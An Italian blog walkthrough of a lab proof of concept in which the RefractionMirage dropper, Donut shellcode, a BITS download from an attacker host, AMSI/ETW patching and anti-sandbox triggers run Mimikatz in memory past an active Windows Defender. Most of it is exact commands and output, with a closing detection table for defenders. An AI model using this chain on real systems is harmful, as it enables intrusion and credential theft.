Categories: Hacking, News13.5 min read

RefractionMirage

Guida tecnica passo-passo alla PoC: da Donut a Mimikatz in memoria, con Windows Defender attivo

Introduzione

RefractionMirage è un tool open source nato per automatizzare la generazione di dropper C# partendo da uno shellcode (ad esempio ottenuto tramite Donut). Il dropper carica un blob cifrato in più fasi (staging) per passare inosservato ad AMSI ed ETW, avviando il codice direttamente nello spazio di memoria del processo. È possibile scaricare il tool al seguente link: https://github.com/ZumiYumi/RefractionMirage

Di seguito il contesto e un po’ di teoria:

AMSI – Antimalware Scan Interface

AMSI è un’interfaccia progettata per far comunicare le applicazioni con l’antimalware di sistema. È presente di default in diversi componenti Windows, tra cui PowerShell, Windows Script Host, JavaScript/VBScript e Office VBA.

Non agisce difatti, come un antivirus, ma funge da canale di comunicazione passando le informazioni e il contesto dell’operazione al software di protezione vero e proprio (come Windows Defender).

Event Tracing for Windows (ETW) – Event Tracing for Windows

ETW è il sistema che Windows usa per tracciare e registrare gli eventi di sistema. Il motore di .NET (il CLR) lo sfrutta per segnalare gli eventi. Funge semplicemente da fonte di telemetria.

WLDP, App Control e AppLocker

La Windows Lockdown Policy (WLDP) è il componente che mette a disposizione le funzioni (API) per controllare se il sistema è in modalità protetta e quali codici possono essere eseguiti. È un meccanismo diverso da AMSI ed ETW e fa parte di difese più ampie come App Control / WDAC e i sistemi che bloccano gli script non autorizzati.

Panoramica

In questo articolo seguiremo passo per passo i comandi mostrati nel Proof of Concept (PoC) di RefractionMirage. L’obiettivo è capire cosa fa ogni comando e perché, in modo da poter comprendere sia la tecnica offensiva che quella difensiva.

La catena completa si articola in due fasi:

Fase 1 :: Kali Linux (macchina attaccante): preparare il payload, cifrarlo, compilare il dropper e avviare un server HTTP.

Fase 2 :: Windows 11 Pro (macchina bersaglio): verificare che Defender sia attivo, scaricare il dropper ed eseguirlo.

Payload: il programma che vogliamo eseguire (qui: Mimikatz). 

Shellcode: codice macchina che gira direttamente in memoria, senza essere un file .exe classico. 

Dropper: un programma leggero il cui unico scopo è scaricare ed eseguire un altro programma. 

Defender: Windows Defender, l’antivirus integrato di Windows. 

PoC (Proof of Concept): una dimostrazione tecnica che prova che una tecnica funziona. 

La demo usa due macchine virtuali VMware in rete locale isolata:

Macchina OS / Ruolo IP Utente
Kali Linux Attaccante 192.168.199.128 an0mal1
Windows 11 Pro Vittima 192.168.199.134 v1ctim

Fase 1 – Preparazione sulla macchina attaccante (Kali Linux)

STEP 1 Verifica del contenuto della cartella
~/Projects/RefractionMirage 

$ ll 

  

total 1384 

-rw-r--r-- 1 an0mal1 an0mal1  1355264 Jul 12 18:16 mimikatz.exe 

-rw-rw-r-- 1 an0mal1 an0mal1     1094 Jul 12 18:16 README.md 

-rw-rw-r-- 1 an0mal1 an0mal1    38105 Jul 12 18:16 refrac.png 

-rw-rw-r-- 1 an0mal1 an0mal1    14385 Jul 12 18:16 refractionmirage.py

ll è un alias di ls -l: mostra i file con tutti i dettagli (permessi, proprietario, dimensione, data). La cartella contiene tre elementi rilevanti per la demo:

mimikatz.exe (1.3 MB): il payload che vogliamo eseguire sulla vittima. Mimikatz è uno strumento usato in penetration test e Red Team per dimostrare la possibilità di estrarre credenziali dalla memoria di Windows. Qui lo usiamo solo per dimostrare che gira nonostante Defender.
refractionmirage.py : lo script Python che genera il dropper cifrato.
refrac.png : immagine di presentazione del progetto, non usata nella demo (presente di default nel github del progetto).

STEP 2 Generazione dello shellcode con Donut
Donut — conversione di mimikatz.exe in shellcode 

$ donut -i mimikatz.exe -p "version exit" -o mimikatz_test.bin 

  

[ Donut shellcode generator v1 (built Feb 12 2026 14:39:18) 

[ Copyright (c) 2019-2021 TheWover, Odzhan 

  

[ Instance type : Embedded 

[ Module file   : "mimikatz.exe" 

[ Entropy       : Random names + Encryption 

[ File type     : EXE 

[ Parameters    : version exit 

[ Target CPU    : x86+amd64 

[ AMSI/WDLP/ETW : continue 

[ PE Headers    : overwrite 

[ Shellcode     : "mimikatz_test.bin" 

[ Exit          : Thread

Cosa fa Donut? Donut è uno strumento open source che converte un normale eseguibile .NET (come Mimikatz) in “shellcode posizionale” (PIC, Position Independent Code), cioè un blob di codice binario che può girare direttamente in memoria senza creare un file su disco.

Un eseguibile classico, caricato in modo tradizionale su Windows, passa per AMSI (il meccanismo che permette a Defender di analizzarlo). Lo “shellcode posizionale” aggira questo percorso e viene caricato direttamente in RAM.

Analizziamo i parametri usati:

-i mimikatz.exe : il file da convertire in shellcode.
-p “version exit” : i comandi da passare automaticamente a Mimikatz una volta lanciato. In questo caso: mostra la versione, poi esce. Questo limita deliberatamente l’azione a una semplice verifica, utile al nostro Proof of Concept (PoC)
-o mimikatz_test.bin : nome del file di output contenente lo shellcode.

Tra le righe di output, tre sono particolarmente significative:

Entropy: Random names + Encryption :: Donut randomizza i nomi interni e cifra il blob, rendendo impossibile riconoscerlo con le firme statiche degli antivirus.
AMSI/WDLP/ETW: continue : il blob include codice per disabilitare temporaneamente AMSI (Antimalware Scan Interface), WLDP (Windows Lockdown Policy) ed ETW (il sistema di logging del kernel) prima di eseguire il payload. Senza questa fase, Defender rileverebbe l’esecuzione.
PE Headers: overwrite : dopo il caricamento in memoria, gli header identificativi del file vengono sovrascritti per non lasciare tracce riconoscibili.

STEP 3 Generazione del dropper cifrato con RefractionMirage
RefractionMirage — generazione dropper e shellcode cifrato 

$ python refractionmirage.py --binary mimikatz_test.bin --lhost 192.168.199.128 --lport 443 --urlpath mimi_test_enc.bin --output dropper_test.cs 

  

[+] Encrypted shellcode saved to mimikatz_test_enc.bin (host this file) 

[+] Dropper written to dropper_test.cs 

[+] Trigger argument: --glrpfg 

[+] Trigger env variable: PYZTYPRD_MODE=1 

[+] Payload URL: http://192.168.199.128:443/mimi_test_enc.bin 

  

[*] If using Donut, generate shellcode with: 

    donut -i <payload.exe> -o payload.bin 

  

[*] Compile on Windows (x64): 

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 

    /platform:x64 /out:RefractionMirage.exe dropper_test.cs 

  

[*] Then run: RefractionMirage.exe --glrpfg

Questo è il cuore della demo. RefractionMirage fa due cose: cifra lo shellcode prodotto da Donut e genera un dropper in C# che lo andrà a recuperare e a eseguire. Vediamo i parametri:

–binary mimikatz_test.bin : lo shellcode da cifrare (prodotto al passo precedente).
–lhost 192.168.199.128 : l’indirizzo IP del server da cui il dropper scaricherà il payload cifrato (la macchina Kali).
–lport 443 : la porta su cui girerà il server HTTP. Si usa 443 perché sembra traffico HTTPS e spesso non viene bloccato dai firewall. In questo caso il server risponde in HTTP puro (non cifrato), ma la porta è tipica.
–urlpath mimi_test_enc.bin : il nome con cui il file cifrato sarà raggiungibile sul server.
–output dropper_test.cs : il nome del file sorgente C# del dropper che verrà generato.

L’output ci dice quattro cose fondamentali:

Shellcode cifrato: il file mimikatz_test_enc.bin contiene lo shellcode cifrato. Deve essere ospitato sul server in modo che il dropper possa scaricarlo quando viene eseguito sulla vittima.
Dropper: il file dropper_test.cs è il sorgente C# che verrà compilato in un eseguibile .exe.
Trigger argument: –glrpfg : il dropper si attiverà esclusivamente se viene lanciato con questo argomento casuale. Senza di esso, il processo termina immediatamente senza fare nulla. Questo meccanismo ha lo scopo di ingannare le sandbox automatiche degli antivirus: una sandbox esegue di solito un binario sospetto senza argomenti e non vedrà alcun comportamento pericoloso.
Trigger env variable: PYZTYPRD_MODE=1 :: oltre all’argomento, il dropper verifica la presenza di questa variabile d’ambiente. Se manca, si ferma. È un secondo livello di anti-sandbox. Potremmo vederlo come un “doppio fattore” anti-analisi.

Una sandbox di analisi automatica (come quelle usate dagli antivirus cloud) esegue un file sospetto  in un ambiente controllato per osservarne il comportamento. Se il file non fa nulla di pericoloso, viene classificato come sicuro. 

Il dropper generato da RefractionMirage è “inerte” senza i trigger corretti: 

  • senza –glrpfgsulla riga di comando → termina subito 
  • senza PYZTYPRD_MODE=1 nell’ambiente → termina subito

La sandbox non conosce i trigger (generati casualmente) → non vede il comportamento pericoloso. 

Attenzione: un EDR moderno può comunque rilevare la modifica in memoria di AMSI/ETW. 

STEP 4 Rinomina del file cifrato per farlo corrispondere all’URL
$ mv mimikatz_test_enc.bin mimi_test_enc.bin

Perché rinominare il file? RefractionMirage ha salvato il file cifrato come mimikatz_test_enc.bin, ma nel parametro –urlpath avevamo specificato mimi_test_enc.bin. Il dropper generato userà proprio quell’URL per scaricare il payload. Se i nomi non corrispondono, il download fallirà.

Il comando mv (move) rinomina semplicemente il file nella stessa cartella, senza spostarlo. Dopo questo passaggio il file è pronto per essere servito via HTTP.

STEP 5 Compilazione del dropper C# in un eseguibile .exe
mcs — compilatore Mono C# su Kali 

$ mcs -platform:x64 -out:TestMirage.exe dropper_test.cs 

  

dropper_test.cs(178,20): warning CS0219: The variable `argsStr` 

                          is assigned but its value is never used 

Compilation succeeded - 1 warning(s)

mcs è il compilatore C# di Mono, disponibile su Kali Linux. Compila il sorgente dropper_test.cs in un eseguibile Windows a 64 bit (-platform:x64) chiamato TestMirage.exe (-out:TestMirage.exe).

Il warning CS0219 indica che una variabile nel codice (argsStr) viene dichiarata ma mai usata. È un avvertimento del compilatore, non un errore: la compilazione va a buon fine lo stesso. Non influisce sul funzionamento del dropper.

Il risultato è un file TestMirage.exe di soli 10.752 byte (circa 10 KB). È volutamente piccolo: il payload reale è separato (mimi_test_enc.bin) e verrà scaricato solo a runtime, quindi non è presente nell’eseguibile e non può essere rilevato con scansioni statiche.

STEP 6 Verifica dei file prodotti
Stato della cartella dopo la compilazione 

$ ll 

  

total 4120 

-rw-rw-r-- 1 an0mal1 an0mal1      9989 Jul 13 10:08 dropper_test.cs 

-rw-r--r-- 1 an0mal1 an0mal1   1355264 Jul 12 18:16 mimikatz.exe 

-rw-rw-r-- 1 an0mal1 an0mal1   1386475 Jul 13 10:08 mimikatz_test.bin 

-rw-rw-r-- 1 an0mal1 an0mal1   1386480 Jul 13 10:08 mimi_test_enc.bin 

-rw-rw-r-- 1 an0mal1 an0mal1      1094 Jul 12 18:16 README.md 

-rw-rw-r-- 1 an0mal1 an0mal1     38105 Jul 12 18:16 refrac.png 

-rw-rw-r-- 1 an0mal1 an0mal1     14385 Jul 12 18:16 refractionmirage.py 

-rwxrwxr-x 1 an0mal1 an0mal1     10752 Jul 13 10:08 TestMirage.exe
STEP 7 Avvio del server HTTP per servire i file
python -m http.server — server HTTP minimale sulla porta 443 

$ sudo python -m http.server 443 

  

Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ... 

  

# I log seguenti appariranno quando la vittima scaricherà il dropper: 

# 192.168.199.134 -- "HEAD /TestMirage.exe HTTP/1.1" 200 - 

# 192.168.199.134 -- "GET  /TestMirage.exe HTTP/1.1" 200 -

python -m http.server avvia un server HTTP minimale che serve tutti i file presenti nella cartella corrente. In questo modo, sia TestMirage.exe (il dropper) che mimi_test_enc.bin (il payload cifrato) sono raggiungibili dalla macchina bersaglio.

Il server viene avviato con sudo perché la porta 443 è una porta privilegiata (sotto il numero 1024): su Linux solo root può ascoltare su queste porte.

I log mostrano che la vittima (192.168.199.134) farà prima una richiesta HEAD (per verificare se il file esiste) e poi una GET (per scaricarlo effettivamente).

Fase 2 – Esecuzione sulla macchina bersaglio (Windows 11 Pro)

STEP 8 Verifica della versione di Windows [Windows 11 Pro]
PowerShell — verifica SO 

PS C:\Users\v1ctim\Desktop> winver

winver apre la finestra “Informazioni su Windows”. Nel video mostra:

Windows 11 Pro, Versione 24H2, Build 26200.8737
Utente: v1ctim

Questo passaggio serve a documentare che la demo gira su un sistema Windows 11 aggiornato e completamente supportato, non su una versione obsoleta o sprovvista delle protezioni moderne.

STEP 9 Verifica che Windows Defender sia attivo e aggiornato
PowerShell — apertura Windows Security 

PS C:\Users\v1ctim\Desktop> start windowsdefender:

start windowsdefender: apre la finestra di Windows Security. Nel video possiamo osservare:

Real-time protection: On :: Defender sta attivamente monitorando il sistema.
Cloud-delivered protection: On :: le analisi cloud sono attive.
Dev Drive protection: On :: protezione aggiuntiva per gli ambienti di sviluppo.

Questo è il punto più importante della demo: non stiamo disabilitando Defender, non stiamo usando una macchina sprovvista di protezioni. Il bypass avviene contro un Defender completamente funzionante.

Molti pensano che i tool offensivi funzionino solo quando l’antivirus è disattivato. La realtà è diversa: tecniche come quelle di RefractionMirage sono progettate per aggirare le protezioni in tempo reale. La demo lo dimostra concretamente. 

 Questo è esattamente il motivo per cui i team di difesa devono conoscere queste tecniche: per sapere cosa guardare al di là delle semplici firme statiche. 

STEP 10 Download del dropper tramite BITS
Start-BitsTransfer — download del dropper via BITS 

PS C:\Users\v1ctim\Desktop> Start-BitsTransfer \ 

    -Source "http://192.168.199.128:443/TestMirage.exe" \ 

    -Destination ".\TestMirage.exe" 

  

DISPLAY: 'job'  TYPE: DOWNLOAD STATE: TRANSFERRED 

PRIORITY: FOREGROUND  FILES: 1 / 1  BYTES: 10752 / 10752 (100%) 

Transfer complete.

Start-BitsTransfer usa BITS (Background Intelligent Transfer Service), il servizio di trasferimento file integrato in Windows usato normalmente per gli aggiornamenti del sistema operativo. In PowerShell è un cmdlet nativo.

Perché BITS e non un semplice download con il browser o curl? Tre motivi:

Bassa visibilità: BITS è considerato dal sistema un processo legittimo e i suoi trasferimenti spesso non vengono segnalati come sospetti da soluzioni di controllo di rete basilari.
Nessun popup: il trasferimento avviene in background senza aprire browser o finestre.
Integrazione OS: è un componente di sistema, non uno strumento terzo da installare.

L’output conferma il trasferimento completato: 10752 / 10752 (100%). Il file TestMirage.exe (10,7 KB) è ora sul desktop della vittima.

I job BITS vengono registrati nel log “Microsoft-Windows-Bits-Client/Operational”. Event ID 16403 (job completed) mostra URL sorgente, percorso destinazione e processo. 

Una richiesta BITS verso un IP senza DNS, su porta 443 in HTTP puro, è un segnale anomalo. 

STEP 11 Esecuzione del dropper con il trigger corretto
Esecuzione finale — TestMirage.exe con trigger --glrpfg 

PS C:\Users\v1ctim\Desktop> .\TestMirage.exe --glrpfg 

  

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 

 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) 

 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com) 

 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz 

 '## v ##'        Vincent LE TOUX  (vincent.letoux@gmail.com) 

  '#####'         > https://pingcastle.com / https://mysmartlogon.com ***/ 

  

mimikatz(commandline) # version 

  

  mimikatz 2.2.0 (arch x64) 

  Windows NT 10.0 build 26200 (arch x64) 

  msvc 150030729 207 

  

mimikatz(commandline) # exit 

Bye! 

PS C:\Users\v1ctim\Desktop>

Il dropper viene lanciato con il trigger –glrpfg specificato da RefractionMirage al momento della generazione. Quello che succede internamente in pochi millisecondi:

Il dropper verifica la presenza del trigger –glrpfg sulla riga di comando e della variabile di ambiente PYZTYPRD_MODE=1. Entrambi presenti → procede.
Scarica mimi_test_enc.bin dal server Kali (http://192.168.199.128:443/mimi_test_enc.bin).
Decifra lo shellcode in memoria.
Prima di eseguirlo, patcha AMSI ed ETW direttamente nella propria memoria di processo: da questo momento, Defender non vede più cosa carica il processo.
Inietta ed esegue lo shellcode. Lo shellcode (prodotto da Donut) carica il runtime .NET e avvia Mimikatz.
Mimikatz esegue i comandi “version” e “exit” che erano stati specificati con -p al momento della generazione dello shellcode.

 

Il risultato: Mimikatz 2.2.0 gira in memoria, mostra la sua versione e termina. Defender è rimasto in ascolto per tutto il tempo, ma non ha bloccato nulla.

Zero file sospetti su disco: il payload (Mimikatz) non è mai stato scritto come file. È stato scaricato come blob cifrato, decifrato in RAM, eseguito in RAM e poi rimosso dalla memoria. Sul filesystem rimane solo TestMirage.exe, un file di 10 KB senza firme statiche riconoscibili.

Riepilogo: cosa è successo esattamente

Guardando la catena dall’inizio alla fine, il percorso è stato:

Ogni fase della catena è progettata per eliminare un punto di rilevamento specifico:

La cifratura: elimina il rilevamento per firma statica su file e su rete.
La separazione dropper/payload: il file .exe non contiene il codice pericoloso, è solo un “corriere”.
Il trigger anti-sandbox: neutralizza l’analisi automatica nelle sandbox cloud.
Il patching AMSI/ETW: rimuove la visibilità di Defender sull’esecuzione in memoria.
L’esecuzione fileless: nessun file pericoloso su disco; la memoria viene liberata alla fine.

Cosa può fare il Blue Team

Nonostante la tecnica sia sofisticata, ogni fase lascia tracce che un ambiente di monitoraggio ben configurato può intercettare.

Fase Traccia rilevabile
Download via BITS Sysmon Ev.22 più log BITS: URL sorgente e IP senza DNS verso porta 443 in HTTP puro.
Processo con argomenti casuali               Sysmon Ev.1 (process creation): stringa alfanumerica casuale come argomento e anomalia statistica.
Patching di AMSI in memoria EDR con behavioral engine: scrittura su aree di memoria di amsi.dll (pagina non-writable alterata).
Silenzio “Anomalo” ETW Monitoraggio provider Microsoft-Windows-DotNETRuntime: un processo .NET che smette di emettere eventi è sospetto.
Allocazione memoria RWX Sysmon Ev.8 / EDR: allocazione di regioni di memoria con flag Execute da un processo non di sistema.
Connessione HTTP insolita EDR/NGFW: richiesta HTTP (non HTTPS) su porta 443 da un processo utente, verso IP senza record DNS.

Repository: https://github.com/ZumiYumi/RefractionMirage

Donut: https://github.com/TheWover/donut

MITRE ATT&CK: T1197 (BITS Jobs) · T1055 (Process Injection) · T1562.001 (Impair Defenses)

Go to Top